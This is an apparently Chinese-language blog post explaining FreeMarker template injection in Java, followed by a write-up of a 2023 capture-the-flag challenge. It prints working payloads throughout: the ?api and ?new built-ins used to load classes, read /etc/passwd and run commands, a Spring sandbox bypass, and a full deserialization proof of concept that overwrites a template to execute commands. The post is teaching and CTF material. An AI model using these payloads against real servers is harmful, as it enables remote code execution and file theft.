Java安全 - FreeMarker模版注入浅析

前言

之前面试的时候问到一个很偏的问题,”请你说说Java的模版注入吧” 当时懵逼了一会儿答了FreeMarker和Thymeleaf以及Velocity,但是当时没有研究过只是知道有这三个玩意,今天刚好掏出半年前的题目来看下FreeMarker的模版注入吧

FreeMarker

什么是模版引擎

就是前端有个模板页面,然后通过”变量符/指令/插值”进行占位,后端查询回来的数据可以动态的向这些占位处填充实际数据

FreeMarker结构

  • 文本
  • 插值
  • FTL标签
  • 注释

Freemarker配置

1
2
3
4
5
6
7
8
9
10
11
server.port=8888
# 模板后缀名
spring.freemarker.suffix=.ftl
# 文档类型
spring.freemarker.content-type=text/html
# 页面编码
spring.freemarker.charset=UTF-8
# 页面缓存
spring.freemarker.cache=false
# 模板路径
spring.freemarker.template-loader-path=classpath:/templates/

Freemarker模版

index.ftl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>Demo</title>
</head>
<body>
<table>
<tr>
<td>Zjacky</td>
</tr>
<tr>
<td>${username}</td>
<td>${password}</td>
</tr>
</table>
</body>
</html>

内置函数危险使用

在模板引擎渲染模板时,如果模板中存在恶意代码,进而会在渲染时执行恶意代码。不同的模板触发漏洞的场景也不同

FreeMarker是存在api 和new的内建函数能够进行命令执行

api

api 函数必须在配置项 api_builtin_enabled​ 为 true​ 时才有效,而该配置在2.3.22*版本之后默认为 false

我们可以通过 api 内建函数获取类的 classloader 然后加载恶意类,或者通过Class.getResource 的返回值来访问 URI 对象。 URI 对象包含 toURL 和 create 方法,我们通过这两个方法创建任意 URI ,然后用 toURL 访问任意URL

1
2
3
4
5
6
7
8
9
10
11
12
13
// 加载恶意类
<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}

// 读取任意文件
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]

new

主要是寻找实现了TemplateModel 接口的可利用类来进行实例化 freemarker.template.utility​ 包中存在三个符合条件的类,分别为

  • Execute 类
1
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

  • ObjectConstructor类
1
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

  • JythonRuntime 类
1
<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签

下面通过一个题来理解下Java的SSTI

2023 - 羊城杯 - Ez_java​​

考点:

  1. Java动态代理
  2. Java反序列化
  3. Java - freemaker模板注入(绕过Spring沙箱)

信息分析

打开依赖发现只有一个组件就是freemaker

image

而且题目也给了一个目录里面存在ftl​文件,所以很容易想到就是打freemaker​模版注入,那么看看怎么上传ftl​文件

这里再看下配置文件发现用了Spring的一个内置沙箱来防止模版注入

具体可以参考https://www.cnblogs.com/escape-w/p/17326592.html

image

先看文件目录

image

构造链

可以看到有个upload类看下代码

image

只能上传.ftl​文件,那就是想到覆盖index.ftl​文件了,往上看如何调用

于是找到HtmlMap#get()​方法,传filenamecontent​属性

image

在往上跟谁调用了get方法找到HtmlInvocationHandler#invoke()

image

这明显是一个代理类,存在invoke方法,在学习动态代理或者CC1的LazyMap的时候就知道这个InvocationHandler​就是动态代理的调用处理器,当使用代理对象的某个方法的 时候就会默认调用这个重写的invoke​方法,如下图

image

然后看控制器

image

发现/templating​触发index.ftl

/getflag​ 直接裸字节流反序列化

那么结合一下CC1的后半条链子,整条思路链就构造完毕了

1
AnnotationInvocationHandler#readObject()->HtmlInvocationHandler#invoke()->HtmlMap#get()->HtmlUploadUtil#uploadfile()

绕过沙箱的payload

1
2
3
4
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}

然后访问ssti templating?name=xxx即可打成功

最终EXP的思路为

  1. 构造htmlMap​需要上传的属性filename​ 为index.ftlcontent​ 为恶意的SSTI payload
  2. new一个htmlMap​的处理器包裹
  3. CC1后半条链子,通过AnnotationInvocationHandler​触发动态代理的调用处理器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.ycbjava;
import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.lang.annotation.Target;
import java.util.Map;
public class YCBPoC {


public static void main(String[] args) throws Exception {
HtmlMap htmlMap = new HtmlMap();
htmlMap.filename="index.ftl";
htmlMap.content="<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
" <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
" <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
" <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}\n";
HtmlInvocationHandler html = new HtmlInvocationHandler(htmlMap);
Map proxy = (Map) Proxy.newProxyInstance(YCBPoC.class.getClassLoader(), new Class[] {Map.class}, html);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor a = c.getDeclaredConstructor(Class.class, Map.class);
a.setAccessible(true);
Object exp = a.newInstance(Target.class, proxy);
System.out.println(serial(exp));
deserial(serial(exp));

}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream stream = new ByteArrayOutputStream();
ObjectOutputStream stream1 = new ObjectOutputStream(stream);
stream1.writeObject(o);
stream1.close();
String base64String = Base64.getEncoder().encodeToString(stream.toByteArray());
return base64String;

}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream b = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream o = new ObjectInputStream(b);
o.readObject();
o.close();
}
}

然后将结果打入

image

然后去触发index.ftl​​即可执行命令image


Java安全 - FreeMarker模版注入浅析
https://zjackky.github.io/post/java-security-freemarker-template-injection-shallow-analysis-mqvp1.html
作者
Zjacky
发布于
2024年2月9日
许可协议